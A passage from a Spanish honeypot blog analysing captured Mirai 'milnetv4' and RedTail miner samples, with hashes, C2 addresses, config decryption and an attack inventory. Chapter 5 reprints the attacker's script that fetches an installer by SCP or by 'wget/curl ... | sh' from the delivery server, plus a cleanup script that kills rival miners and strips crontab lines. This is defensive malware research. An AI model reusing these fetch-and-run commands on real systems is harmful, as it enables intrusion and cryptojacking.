una pista, de las que se guardan por si otra pieza encaja después. El misterio de los nombres que rotabanComo el http.go solo sirve ficheros estáticos, no puede ser él quien inventa los nombres. Debe haber otro proceso en la caja regenerando el ok en bucle: crea 12 nombres al azar, copia los binarios a esos nombres, reescribe el ok y a los pocos segundos los borra. Por eso los nombres del guion caducaban - pero los nombres \"maestros\" del listado de directorio seguían ahí, y por ellos me llevé la colección completa. 04El espécimen Doce binarios, uno por arquitectura, del tamaño típico de un bot de IoT. Escribí aquí que eran todos ELF estáticos y stripped, sin símbolos. Diez lo son. Dos no. Lo vi volviendo sobre el lote con un file, que es lo primero que hay que hacer y que yo hice sobre tres binarios en vez de sobre los doce. Uno, de 44.744 bytes, no es estático: está enlazado dinámicamente contra uClibc, así que depende de encontrar sus bibliotecas en la máquina donde caiga. El otro pesa 123.851 bytes, más del doble que sus hermanos, y por una razón concreta: no está stripped. Lleva dentro la información de depuración que a los demás les quitaron. Y aquí está lo que me escuece, porque el dato llevaba publicado desde el primer día: la ficha de aquí abajo dice 44 KB – 124 KB. Esos dos extremos son exactamente esos dos binarios. El rango que yo mismo publiqué ya estaba diciendo que el lote no era uniforme. Solo había que leerlo. Que se les colara un binario a medio limpiar es un descuido suyo. Y me ha regalado lo mejor del capítulo. Un binario sin strip conserva las rutas de la máquina donde se compiló. Estas: rutas dentro del binario sin limpiar/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/lib1funcs.asm /home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv7l/bin/../cc/include Aboriginal Linux es un juego de compiladores cruzados de Rob Landley - y es exactamente el que venía con el código fuente de Mirai cuando se filtró en 2016. Eso no es una etiqueta de antivirus ni un parecido de cadenas: es la marca del taller donde se fabricó este lote, y sale del propio binario. Dos descuidos suyos y uno míoEste atacante ya se había dejado el listado de directorio abierto, y con él su código fuente entero - es lo que cuenta la sección anterior. Este es el segundo: un binario sin limpiar en un lote de doce. Y el mío va justo detrás, porque los di todos por iguales sin comprobarlo uno a uno. ESPÉCIMEN 002 · ELF ×12 Mirai · variante \"milnetv4\" ◈ VIVO · NO EJECUTAR TipoELF · 10 estáticos y stripped · 1 dinámico (uClibc) · 1 con símbolos · 12 arquitecturas Tamaño44 KB – 124 KB Empaquetadono (UPX descartado) Funciónbot DDoS (multivector, dirigido por C2) C2kappadocia.net / 141.98.10.50 (en strings; el resto de la config, cifrada) SHA-256 (x86-64)bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 El abanico de CPUs cubierto - la razón de ser del loader multiarquitectura: ArquitecturaTamañoSHA-256 x86-6450.176 Bbf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 ARM52.496 B8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63 MIPS (BE)67.496 B5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32 MIPS (LE)68.632 Ba75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123 PowerPC50.092 B9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3 SPARC54.596 Babda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488 Motorola m68k50.780 B3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e Renesas SH46.288 B41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04 (La tabla lista un representante por familia de CPU: ocho filas para los doce binarios. Las variantes de más, algunas arquitecturas como ARM traen varias, quedan fuera, aunque el rango de tamaños de la ficha las abarca a todas.) En sus strings asoma ya, en claro, el C2 (kappadocia.net, 141.98.10.50) - pero el resto de su configuración y todas sus órdenes están cifradas. Ese es el trabajo del próximo capítulo. Regla de la casaLos binarios no se publican; los hashes sí. Con esos SHA-256 cualquiera identifica las muestras en VirusTotal o MalwareBazaar sin que yo reparta el bicho. Compartir el hash es divulgar; repartir el binario es propagar. 05Indicadores (IOCs) TipoValor IP atacante (loader)45.198.224.26 Servidor de repartohxxp://5.182.210[.]174 (FileServer en Go) C2 del botkappadocia.net · 141.98.10.50 Identificador de campañaargumento \"bc\" Filtro del servidorsolo UA curl / Wget / axel · resto → iptables DROP 10 min SHA-256 (x86-64)bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 Continuará - el bot guarda su C2 y sus órdenes en clave. En el Capítulo 4 lo abro con Ghidra: el descifrado, el nombre real de la botnet y su arsenal completo. 🍯","date":"2026-08","fam":"Mirai","n":3,"spec":"Mirai (milnetv4)","sum":"Otro entra y suelta su bicho. Pero este se dejó una puerta abierta en su propio servidor de reparto - y dentro estaba el código fuente. Un Mirai multiarquitectura, cazado con las manos en la masa.","t":"La botnet que se dejó el código a la vista","tags":["honeypot","DDoS","Cowrie","IoT","análisis estático"],"tipo":"Botnet (DDoS)","url":"/capitulo-3/"},{"body":"En el Capítulo 3 cacé un Mirai multiarquitectura y me llevé los doce binarios. En sus strings asomaba el C2 en claro, pero el resto de su configuración y todas sus órdenes estaban cifradas. Toca abrirlo con Ghidra. Sacamos a quién llama el bot y de qué es capaz para poder detectarlo y bloquearlo. La mecánica de los ataques (cómo se lanza cada flood) no se cuenta: se cataloga el arma, no se entrega. 01El cifrado: un solo byte El XorDDoS del Capítulo 2 usaba una clave XOR de 16 bytes y hubo que decompilar la rutina para dar con ella. Este es de otra liga - para abajo. Mirando las strings cifradas ya se ve el truco: todas terminan en T (byte 0x54). la pista# cadena cifrada tal cual sale del binario: ?5$$50;7=5z:1 T # XOR cada byte con 0x54: ?5$$50;7=5z:1 T ⊕ 0x54 = kappadocia.net La config lleva terminadores nulos (\\0) al final de cada cadena, y 0 XOR clave = clave. Ese T repetido era el \\0 delatando la clave: 0x54. Un XOR de un solo byte. Ni siquiera hizo falta encender el decompilador - se descifra desde strings. Un apunte, porque puede chirriar: en el capítulo anterior ese mismo dominio ya asomaba a pelo en el strings. Lo que no sabíamos entonces es que también vive aquí dentro, en la tabla cifrada - y es esta copia, la que el bicho lee de verdad al arrancar, la que acabamos de abrir. 02La config al desnudo Aplico XOR 0x54 a toda la tabla de cadenas y sale limpia. Y con ella, la identidad del bicho: config descifrada (XOR 0x54)# identidad milnetv4 # nombre/versión de la botnet .anime # marcador delator del linaje Mirai # C2 kappadocia.net · 141.98.10.50 # comportamiento /dev/watchdog · /dev/misc/watchdog # desactiva el watchdog /proc/ /exe /maps /proc/net/tcp /proc/net/route /etc/resolv.conf · nameserver # resuelve el C2 bash # ataque Source Engine Query # la plantilla del método 1 (VSE) assword # sin la P: caza «Password:» y «password:» a la vez La firma es inconfundiblemente Mirai: la cadena .anime (marcador de un linaje conocido) y el ataque al /dev/watchdog - que desactiva el reinicio automático del aparato para que no pueda limpiarse solo. El barrido de /proc le sirve para matar botnets rivales y averiguar su propia IP. La variante se llama a sí misma milnetv4. Un apunte que en su día no hice, y que corrijo aquí: la tabla de cadenas tiene dos mitades, y no todo lo que el bicho lleva dentro está cifrado. sshd, dropbear y /bin/sh viven en la parte en claro; lo de arriba pasa por la rutina XOR. bash es el único que aparece en las dos. No es un descuido del autor: son dos mecanismos distintos - lo que consumen directamente el exec() y el módulo que mata procesos no necesita descifrarse. Y refuerza el apunte de la sección anterior, porque kappadocia.net es justo de lo que está en las dos. 03El protocolo del C2 Con la config clara, decompilé en Ghidra el bucle principal. El bot se conecta al C2, se registra (arquitectura + milnetv4 + .anime) y manda un latido periódico. Las órdenes llegan con un prefijo de longitud: formato de las órdenes del C2[ 2 bytes big-endian = longitud ][ payload ] └ se descarta si la longitud \u0026gt; 0x400 # los primeros 4 bytes deciden el tipo: 0xFE → matar TODOS los ataques 0xFD → matar UN ataque por su id otro → orden de ATAQUE La orden de ataque trae la duración, el id del vector (menor que 16), la lista de objetivos (cada uno como IP + prefijo de red) y una lista de opciones (puerto, tamaño…). Por cada ataque, el bot hace fork() y guarda el proceso hijo en una tabla - así mantiene hasta 15 ataques a la vez y puede matarlos individualmente con la orden 0xFD. Es, pieza por pieza, la arquitectura de Mirai. Y ahí está el porqué de que las dos órdenes de control midan distinto. La orden es una palabra de cuatro bytes, así que 0xFE («mátalos todos») ocupa cuatro y no necesita nada más. 0xFD ocupa ocho porque lleva pegado detrás el identificador del ataque que hay que parar. La asimetría no es un capricho del formato: es que una de las dos órdenes tiene que decir a cuál. 04El arsenal: 16 métodos El bot registra sus métodos de ataque en una tabla {función, id}. Recuperé las 16 entradas y clasifiqué cada una por el tipo de socket que abre y las cabeceras que fabrica. Lo presento como inventario defensivo - qué sabe hacer, para poder reconocerlo - sin entrar en cómo se ejecuta cada uno: IDTipo de ataque 0UDP flood (raw) 1UDP flood, paquete pequeño (juegos/VSE) 2DNS flood 3TCP flood (raw) 4TCP flood (ACK/PSH) 5TCP flood (STOMP) 6GRE flood (GRE-IP) 7GRE flood (GRE-ETH) 8UDP-PLAIN flood 9STD flood 10TCP flood (banderas configurables) 11UDP flood multi-socket 12TCP con datos 13TCP connection flood 14Shell inversa hacia el C2 - no es un flood 15HTTP flood (capa 7) Un catálogo de manual: UDP (crudo y plano), DNS, GRE, varias formas de TCP y un flood HTTP de capa 7. La evidencia dura viene del propio código - el tipo de socket y el protocolo que pide no dejan lugar a dudas. Doce arquitecturas, un mismo arsenal: la tabla es idéntica en todos los binarios, prueba de que salen de una única fuente. Y luego está el 14, que no encaja en ese catálogo. Los quince primeros hacen lo mismo con distinto envoltorio: mandar paquetes contra alguien. El 14 abre una shell inversa: prepara una sesión nueva, engancha entrada, salida y errores a un socket, y lanza un intérprete de órdenes. Eso no inunda a nadie - eso es alguien sentándose en la máquina. Y lo mejor es a dónde llama. No a una dirección misteriosa: al mismo sitio de siempre. Marca la estructura que el bicho rellena al arrancar cuando resuelve su central - la que sale del XOR 0x54 de la sección anterior. Misma IP, mismo puerto, misma puerta. Cuando el operador quiere, el bot que lleva todo el rato hablando con su C2 le abre una /bin/sh por el mismo canal. Un Mirai clásico es un cañón: tú le dices a quién disparar y dispara. Este trae además una silla. Y si has ido siguiendo los números, hay algo más que mirar: en qué orden se registran. Es este: 0, 1, 2, 8, 3, 4, 5, 10, 6, 7, 9, 11, 12, 13, 14, 15. Uno ocupa en la fila un sitio que no se corresponde con su número: a udpplain le han cambiado la etiqueta sin moverlo de su hueco en la cola. El tcpxmas del octavo puesto es otra cosa - no es un veterano renumerado, es nuevo, y se ha quedado un número que alguien dejó libre. Eso es lo que se ve, y es lo que sostiene la conclusión: no es un Mirai recortado, es uno con la tabla remapeada y estirada. Estirada por arriba, además, que es donde viven el 11, el 12, el 13, el 14 y el 15. La huella, por tanto, no está en lo que falta (no falta nada): está en el orden, y en que arriba del todo, donde el original no llegaba, alguien metió una silla. He abierto el código filtrado de 2016. Allí la tabla se llena con diez métodos, en este orden: 0, 1, 2, 9, 3, 4, 5, 6, 7, 10. Quítale a la nuestra los seis añadidos y queda esa misma secuencia, clavada. Cambian dos etiquetas: udpplain baja del 9 al 8 (un número que en el original no usaba nadie) y el HTTP sube del 10 al 15, aunque sigue entrando el último. Los dos números que quedan sueltos, el 9 y el 10, se los quedan métodos nuevos. Y la firma está en una manía. En el original, udpplain se registra el cuarto, fuera de orden, por puro capricho de quien lo escribió en 2016. Este bicho, diez años después, lo sigue registrando el cuarto. Eso no se reinventa por casualidad: viene de ahí. Y hay una última cosa en el inventario que tampoco sirve para atacar a nadie. El bot lleva un módulo que, al arrancar, cierra treinta y dos puertos de la máquina en la que acaba de entrar. Entre ellos el telnet, el HTTP y el FTP; una colección de puertos de puertas traseras e IRC que usan otras botnets; y tres muy concretos - el 53413 de los Netcore, el 37215 de los Huawei HG532 y el 52869 de los Realtek. Los tres son puertas conocidas de entrada a cacharros de red. El efecto es que el aparato queda más difícil de infectar. Para otros. Y el primero de esa lista es el que más dice: el 48101, que es el puerto que Mirai usa como cerrojo de instancia única - el que un Mirai abre para que no se le cuele encima otra copia de sí mismo. Este mata lo que esté escuchando ahí. Es decir: va a por otros Mirai. Dónde paroSé que existen estos vectores y cómo reconocerlos en el tráfico; ahí me quedo. Catalogar el arsenal es defensa; explicar cómo se dispara cada flood sería repartir armas - y esa es la línea de esta bitácora. Con el 14, lo mismo: cuento que la shell inversa está ahí y qué hace. El saludo que la abre, no. 05La pista que conecta con el pasado El plan B del bicho, en Ghidra. Esta función intenta resolver kappadocia.net por DNS; y si le devuelve vacío (dominio caído, DNS bloqueado, lo que sea) se va directa a 141.98.10.50, que lleva escrita dentro. Es decir: tumbarle el dominio no lo desconecta, porque la IP la sabe de memoria. Cuando el DNS sí responde y da varias direcciones, elige una al azar: el decompilador termina esa asignación con un % (el resto de una división) que reparte la elección entre las direcciones devueltas. En la captura queda justo al filo del panel, medio cortado. Nada de esto se ve en el strings; hace falta leer el código. OSINT pasivo sobre el C2, sin tocar la máquina. El kappadocia.net resuelve a 141.98.10.50. Y ahí salta la sorpresa: Misma vecindad que el Capítulo 2El C2 del XorDDoS del Capítulo 2 era 141.98.11.51. Este Mirai llama a 141.98.10.50. Cuando lo escribí dije que compartían la misma red 141.98.0.0/16, que es una vecindad muy ancha. Se puede apretar bastante más. Aquel dominio del XorDDoS no siempre apuntó al 11.51: en junio resolvía a 141.98.10.115. O sea que durante un tramo las dos familias tuvieron su centro de mando en el mismo /24, el 141.98.10.0/24. Y las tres direcciones (la del Mirai y las dos del XorDDoS) están en el mismo sitio: AS209605. Dos familias distintas, dos capturas separadas, y no una esquina de internet: un pasillo. Es exactamente el tipo de hilo que solo aparece cuando guardas y comparas todo lo que cazas. 06Indicadores (IOCs) TipoValor FamiliaMirai · variante \"milnetv4\" · marcador \".anime\" C2kappadocia.net · 141.98.10.50 (AS209605, igual que el C2 del Cap. 2) Cifrado configXOR · clave de 1 byte 0x54 Protocolo C2órdenes con prefijo de longitud 2B BE · control 0xFE (4 B) / 0xFD (8 B, con el id del ataque) Capacidad16 métodos (15 de DDoS + 1 shell inversa al propio C2) · hasta 15 ataques concurrentes Puertos que cierra32, entre ellos 48101 (cerrojo de instancia de Mirai) · 23 · 80 · 21/20 · 53413 · 37215 · 52869 Estado a 11 de septiembre de 2026kappadocia.net ya no resuelve, y el servidor de reparto del Capítulo 3 ha desaparecido. Pero 141.98.10.50 sigue viva. Es, en vivo, lo que este mismo capítulo predijo tres semanas antes: tumbarle el dominio no lo desconecta, porque la IP la lleva escrita dentro. Y con esto se cierra la familia Mirai - de la caza en caliente al arsenal sobre la mesa, todo para entenderlo y poder pararlo. Con una rima que no esperaba: en el Capítulo 1, el XorDDoS renombraba wget y curl para que ninguna otra botnet pudiera descargar nada en esa máquina. Este cierra treinta y dos puertos, el del cerrojo de Mirai incluido. Dos familias que no se parecen en nada haciendo lo mismo: marcar territorio. Y el aparato de la víctima, de paso, un poco más seguro - para todos menos para el que ya está dentro. Continuará - el cebo sigue encendido. Cuando el próximo bicho traiga algo nuevo, habrá quinto capítulo. 🍯","date":"2026-08","fam":"Mirai","n":4,"spec":"Mirai (milnetv4)","sum":"El bot del capítulo anterior guardaba su config cifrada y sus órdenes en clave. Con Ghidra sale todo: el descifrado (un XOR ridículo), el nombre real de la botnet, el protocolo de su C2 y su arsenal completo - sin repartir armas.","t":"Mirai al descubierto: 16 métodos y un XOR de un byte","tags":["Ghidra","ingeniería inversa","C2","XOR","opcodes"],"tipo":"Botnet (DDoS)","url":"/capitulo-4/"},{"body":"Tercera familia en el cebo, y la primera que no es un bot de DDoS: esto es un minero de Monero. Su objetivo no es tumbar a nadie, es robar CPU y minar cripto en silencio. Y se le nota el oficio desde el primer segundo - donde el XorDDoS y el Mirai tiraban de wget y credenciales por defecto, este entró por contraseña, como todos - pero trajo el binario con su propia llave. Este capítulo es la caza: cómo entró, cómo se trajo el binario y cómo limpió la casa antes de instalarse. El destripe del minero va en el Capítulo 6. 01La captura Un bot, veloz y metódico. Entró por SSH y en menos de dos segundos había reconocido la máquina, escrito una llave, traído el binario y borrado sus huellas. 00:00.0Entra por SSH (root, credencial de diccionario). Lanza id y cat /etc/passwd - mira qué es y a quién tiene delante. 00:00.4Suelta una baliza: echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\" → en claro, \"auth_ok\". Le dice a su orquestador \"estoy dentro\". 00:00.6enable · system · shell · sh · bash - la secuencia para escapar de shells restringidos de routers y grabadores. 00:01.5Escribe una llave SSH y un sshcfg, y con ellos hace scp del binario desde su servidor. Ejecuta, y remata con otra baliza: \"redtail_bot_telnet_ok\". Las balizas en hexadecimalLos echo -e \"\\x...\" no son adorno: el proceso padre que orquesta la infección lee esas cadenas para saber en qué punto va cada víctima. auth_ok = tengo shell; redtail_bot_telnet_ok = infección por el vector \"telnet\" completada - y ese \"telnet\" no es el protocolo por el que entró (aquí fue SSH), es el nombre interno que RedTail le pone a este vector de campaña y que le pasa al instalador como argumento. Escribirlas en hex es un despiste antianálisis menor - pero delatan el nombre de la familia a quien las descodifica. 02La entrega: con llave propia Aquí está el sello de clase. En vez de un wget a la vista, RedTail escribe una clave privada SSH que lleva embebida, monta una config que desactiva toda verificación, y se trae el instalador por SCP: entrega por SCP con llave embebida# 1) escribe su clave privada (ed25519) en key.ppk echo '-----BEGIN OPENSSH PRIVATE KEY----- ...# (clave ed25519, comentario dlr@sftp) -----END OPENSSH PRIVATE KEY-----' \u0026gt; key.ppk # 2) config ssh que ignora la verificación de host echo 'StrictHostKeyChecking no UserKnownHostsFile /dev/null' \u0026gt; sshcfg chmod 400 key.ppk # 3) trae el instalador 'sh' por SCP como el usuario dlr scp -F sshcfg -i key.ppk dlr@217.60.195[.]113:sh out_sh if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet else # plan B: por HTTPS (wget --no-check-certificate -qO- hxxps://217.60.195[.]113/sh || curl -sk hxxps://217.60.195[.]113/sh) | sh -s telnet fi rm -rf sshcfg key.ppk out_sh # limpia las huellas ¿Por qué tanta ceremonia para bajar un fichero? Sigilo. Una conexión SCP saliente parece tráfico SSH legítimo - administración normal - mientras que un wget http://…/bicho canta en cualquier registro o IDS. La llave viaja dentro del propio malware, así que todas las máquinas infectadas comparten la misma; da acceso de solo-descarga a su servidor de reparto (usuario dlr, de downloader). Y como se ve, si el SCP falla tiene el wget/curl por HTTPS de reserva. Regla de la casaLa clave existe y está a la vista en el binario, pero no la publico entera: basta su identidad como IOC - es una ed25519 con comentario dlr@sftp. Compartir el indicador, no el arma. 03El instalador, con cabeza El script sh (2,3 KB) que se trae es bastante más listo que los droppers de las otras familias: Evita los noexec. En vez de probar carpetas a ciegas, lista los montajes marcados noexec (con findmnt) y los excluye de la búsqueda. Luego busca un directorio donde pueda escribir y ejecutar. Comprueba que caben 2 MB. Antes de elegir sitio, intenta escribir un fichero de 2 MB - porque el minero es grande y no quiere quedarse a medias. Cinco arquitecturas exactas. Mapea uname a x86_64 · i686 · aarch64 · arm7 · riscv - sí, RISC-V incluido. Nada de la escopeta de 12 del Mirai: aquí se elige el binario justo. Nombre oculto. Renombra el binario a .\u0026lt;aleatorio\u0026gt; (con punto, oculto) y lo lanza con el vector telnet. Y una cosa más, que es de las que me gustan porque no es una capacidad: es un descuido. Para bautizar el binario, el instalador tira de varios generadores de aleatorio, uno detrás de otro por si alguno no existe en la máquina. Si todos fallan, tiene una última línea de reserva - y lo que devuelve es esto: el último recurso del instaladorecho \"redtail\" El nombre de la familia, escrito por su propio autor, en el sitio donde nadie mira. Y no es el único: la ruta de compilación embebida en el minero es /var/build/redtail/, y el directorio de trabajo del operador, /root/redtail/. Tres sitios distintos donde dejó el nombre. A este bicho no hubo que ponerle etiqueta: viene con ella puesta de fábrica. Pero antes de instalarse, hace una cosa que merece sección propia. 04Limpieza quirúrgica de la competencia El instalador descarga y ejecuta un script clean - y no es un borrado a lo bruto, es un desalojo con bisturí. Quiere la máquina entera para él: clean · desalojar rivales# mata mineros rivales conocidos por su nombre de servicio systemctl disable c3pool_miner; systemctl stop c3pool_miner systemctl disable bot.service; systemctl stop bot.service # de CADA crontab, borra solo las líneas de OTROS bichos... clean_file() { chattr -ia \"$1\" grep -vE 'wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d' \"$1\" \u0026gt; /tmp/x mv -f /tmp/x \"$1\" # ...dejando intactas las legítimas } # vacía /tmp, /var/tmp, /dev/shm (payloads de la competencia) Fíjate en el grep -vE: no borra el crontab entero, filtra solo las líneas sospechosas (las que tienen wget, /dev/tcp, base64 -d… los patrones típicos de la persistencia de otro malware) y respeta lo legítimo. Mata por nombre a c3pool_miner (un minero conocido) y a un genérico bot.service. Es competencia entre delincuentes: el que llega, echa al anterior - pero con cuidado de no romper la máquina que quiere exprimir. 05El espécimen Todo capturado por HTTPS. ESPÉCIMEN 003 · scripts + ELF ×5 RedTail · minero Monero ◈ VIVO · NO EJECUTAR Instaladorbash · 2.316 bytes Arquitecturasx86_64 · i686 · aarch64 · arm7 · riscv Tamaño mineros1,4 – 2 MB (ELF estático, UPX) Funciónminero de Monero (XMRig a medida) EntregaSCP con llave embebida + HTTPS SHA-256 instaladored23a8c75dc4f04acd8b68c51a0ebdb4d5cce6c06eed2451ebd0428a32d9df99 PiezaSHA-256 clean3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892 miner x86_64f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 miner aarch64d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68e miner riscv3f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39 He escrito arriba que este juega en otra liga, y esa es la clase de frase que hay que respaldar o callarse. Puestas en fila, sus decisiones: No reparte por HTTP. El puerto 80 devuelve un 403; solo el 443 sirve. Y lo hace con un certificado autofirmado de relleno, de los que trae la plantilla por defecto - O=Internet Widgits Pty Ltd. No quiere parecer legítimo: quiere que el tráfico vaya cifrado. El centro de mando se esconde detrás de Cloudflare, en un subdominio hexadecimal de efabaz.xyz. Quien mire la IP ve Cloudflare, no a él. El dominio es de estreno. Se registró en Namecheap el 14 de julio, dieciséis días antes de que las primeras muestras aparecieran en los repositorios públicos. Infraestructura recién comprada para esta campaña. Y el resto ya lo hemos visto: entrega por SCP con llave propia, instalador que esquiva los noexec, binarios empaquetados con UPX y una configuración cifrada dentro. Ninguna de esas piezas es brillante por separado. Juntas dibujan a alguien que ha pensado en quién va a mirar - y eso es exactamente lo que los tres bichos anteriores no hicieron. 06Indicadores (IOCs) TipoValor IP atacante103.46.186.105 Servidor de reparto217.60.195.113 (usuario dlr · SCP + HTTPS) Clave embebidaed25519 · comentario dlr@sftp Balizasauth_ok · redtail_bot_telnet_ok Rivales que matac3pool_miner · bot.service Vectortelnet Dominio del C2efabaz.xyz (subdominio hexadecimal, tras Cloudflare) · registrado en Namecheap el 14-jul-2026 Certificado del repartoautofirmado · O=Internet Widgits Pty Ltd (plantilla por defecto) Firmas de familiaecho \"redtail\" (reserva del instalador) · /var/build/redtail/ · /root/redtail/ Continuará - el minero está empaquetado y esconde su cartera. En el Capítulo 6 lo desempaqueto y lo abro con Ghidra, hasta donde su autor nos deja llegar. 🍯","date":"2026-08","fam":"RedTail","n":5,"spec":"RedTail (minero Monero)","sum":"El bicho anterior entraba a patadas con wget. Este entró con una llave SSH en el bolsillo, limpió la casa de mineros rivales y se instaló con modales de profesional. Es RedTail, y juega en otra liga.","t":"El intruso que trajo su propia llave","tags":["honeypot","cryptojacking","Monero","Cowrie"],"tipo":"Minero (cryptojacking)","url":"/capitulo-5/"},{"body":"En el Capítulo 5 cacé a RedTail entrando con su propia llave. Ahora toca el binario: desempaquetarlo y abrirlo con Ghidra con un objetivo claro - sacar su pool de minado y su cartera de Monero. Spoiler honesto: la respuesta no es un número, es por qué ese número no está. Se busca a dónde manda el dinero y de qué depende, para poder detectarlo y cortarlo. 01Quitar el envoltorio Los binarios venían empaquetados con UPX y sin cabeceras de sección - que es lo normal en cualquier ELF empaquetado con UPX, no un truco suyo. El upx -d no las necesita: descomprime con sus propias estructuras. upx -d$ upx -d x86_64 -o x86_64.unpacked File size Ratio Format Name -------------------- ------ ----------- ----------- 5199952 \u0026lt;- 1989056 38.25% linux/amd64 x86_64.unpacked Unpacked 1 file. De 2 MB comprimidos a 5,2 MB en claro. Con el envoltorio fuera, a mirar dentro. 02Es un XMRig a medida Las strings del binario limpio no dejan duda: RandomX, cryptonight, donate.v2.xmrig.com… es un fork del minero de código abierto XMRig. Pero con dos añadidos que lo delatan como RedTail: Una librería propia, libredtail, con evbuffer_tls - su capa de red por TLS para hablar con el C2. La ruta de compilación del autor, embebida: /var/build/redtail/scripts/x86_64-build/ - con hwloc 2.14.0, snappy 1.2.2, abseil-cpp. Un entorno de build moderno y cuidado. El proyecto se llama, literalmente, «redtail». Lo que no le han tocado es el motor. Ahí sigue el núcleo entero de XMRig: las cinco variantes de RandomX (rx/0, rx/2, rx/arq, rx/aH, rx/af), trece de CryptoNight y las tres de argon2 (chukwa, ninja, wrkz), con soporte para Monero, Graft, Wownero, Zephyr, Townforge, Sumokoin, Arqma y Ravencoin. Un minero capaz de todo eso, dedicado a una sola moneda. Retén el detalle, porque en la sección 06 explica bastante. Un desliz que humanizaEsa ruta /var/build/redtail/… es el directorio de trabajo de quien lo compiló, cocido dentro del binario sin querer. No es una cartera ni un C2, pero es de esas migas que, cruzadas con otras muestras, ayudan a agrupar campañas. 03A la caza del botín - y la pared Con el binario abierto, fui a por el pool y la cartera por todos los caminos. Uno a uno, todos dieron en pared: ¿Un blob cifrado embebido? Escaneo de entropía de los 5,2 MB → cero regiones de alta entropía. No hay un bloque cifrado escondido. ¿El pool/cartera en claro? No. Lo único plano son las plantillas de XMRig (stratum+ssl://%s) y sus dominios de donate por defecto. ¿Una IP o dominio propios? Ni uno. Busqué incluso la IP de reparto (217.60.195.113) como texto y como bytes crudos en todos los órdenes. No está. ¿Un parser de config raro? No: es el parser JSON estándar de XMRig. El minero espera recibir una config, no la lleva puesta. Ghidra confirmó lo que las strings insinuaban: las funciones que forman el URL del pool (Pool::parse, stratum+tcp/ssl) son las de XMRig de siempre, alimentadas por una configuración que llega de fuera. 04El veredicto: la cartera no está, por diseño Juntando las piezas - capa TLS propia (libredtail), sin blob cifrado, sin pool/cartera/C2 embebidos, parser de config estándar - la conclusión es clara y es la firma de RedTail: La respuestaRedTail no guarda su pool ni su cartera en el binario. Se los pide a su servidor de mando en caliente, cifrados por el canal TLS de libredtail, al arrancar. Lo que en XorDDoS y Mirai estaba dentro (aunque cifrado), aquí directamente no existe en el fichero. No hay número que sacar con análisis estático - porque el autor se aseguró de que no lo hubiera. Esto es lo que separa a RedTail del malware de serie: los otros escondían el secreto dentro y bastaba leerlo bien (Capítulos 2 y 4). RedTail no esconde el secreto: no lo lleva encima. Si tumbas su C2, los mineros ya desplegados se quedan sin a dónde mandar el dinero - pero tampoco te lo cuentan. Aviso al lectorEsa es la conclusión de aquel día, y la dejo tal cual porque así fue. Pero volví al binario semanas después y no aguantó entera: en la sección 06 cuento qué encontré al insistir y dónde me había quedado corto. Si lees en diagonal, no te pierdas ese final. 05Dónde está la línea Sacar la cartera de verdad exigiría uno de dos caminos, y los dos quedan fuera: Ejecutarlo en un laboratorio aislado y observar a qué C2 llama y qué config descifra. Es la vía que daría el dato - pero es un minero vivo, y ejecutarlo cruza la línea de esta bitácora (y arriesga la máquina). No se hace. Un trace muchísimo más profundo de cómo libredtail construye la dirección del C2 (probablemente ensamblada en memoria pieza a pieza). Horas de ingeniería inversa, sin garantía de premio. Prefiero contarte lo que sabemos con certeza (que el dato no está, y por qué) antes que forzar una respuesta. Reconocer la pared también es parte del oficio. 06Volví - y la pared se movió de sitio Volví sobre el binarioTodo lo de arriba se quedó como estaba el día que lo escribí. Pero volví sobre el binario, y aunque no he ganado la partida, sí he movido la línea unos cuantos metros. Y he descubierto que en una cosa importante me había equivocado. ALo que dice el resto del mundo Lo primero que hice fue lo que debería haber hecho antes: mirar si alguien había pasado por aquí. Y la respuesta me sorprendió. Nadie ha publicado nunca cómo descifrar la configuración de RedTail. Y no es que no haya buscado bien: Akamai lo dice por escrito. Ellos son la referencia de esta familia, y en su informe explican que sacaron los pools mirando la memoria del minero ya en marcha, «evitando el largo proceso de aplicar ingeniería inversa al descifrado». Es decir: llegaron a la misma pared y la rodearon. Hay más. Malpedia, el catálogo de referencia, no tiene ni una regla de detección para RedTail. No existe ningún extractor de configuración en ningún framework público. Y el dato que más me llamó la atención: en dos años no se ha publicado ni una sola cartera de Monero de esta familia. Ninguna. Lo que sí es constante en toda su infraestructura conocida es el puerto 2137. Consuelo de tontos, pero consueloSaber que el muro que te ha parado es el mismo que rodearon los profesionales no lo derriba, pero cambia la lectura. No estaba siendo torpe: estaba en un problema que la industria tiene abierto. BDonde me equivoqué Arriba escribí, con mucha seguridad, que RedTail «se los pide a su servidor de mando en caliente». Ahora creo que eso está mal, y la prueba estaba delante de mí. XMRig, el minero legítimo del que RedTail es una copia modificada, se configura por línea de comandos o por fichero. Tiene claves para todo: url, algo, coin, config… Fui a buscarlas en el binario de RedTail y falta un puñado - pero no las que yo dije. Contadas sobre los bytes: quedan diecinueve, entre ellas url, y faltan seis. Y ese seis es el que cuenta la historia, porque no es una amputación al azar. Faltan config, coin, algo, user, cpu y tls: exactamente las que permitirían dirigirlo. Sin config no lee un fichero de configuración. Sin coin ni algo no se le cambia de moneda. Y sin user no se le pone otra cartera. Las de operar (hilos, páginas grandes, reintentos, registro) siguen todas ahí. No le quitaron la interfaz: le quitaron el volante. Piénsalo un momento: a este minero le han amputado la posibilidad de configurarlo desde fuera. ¿Y por qué haría eso alguien? Si la configuración llegara del C2, no haría falta borrar nada - el 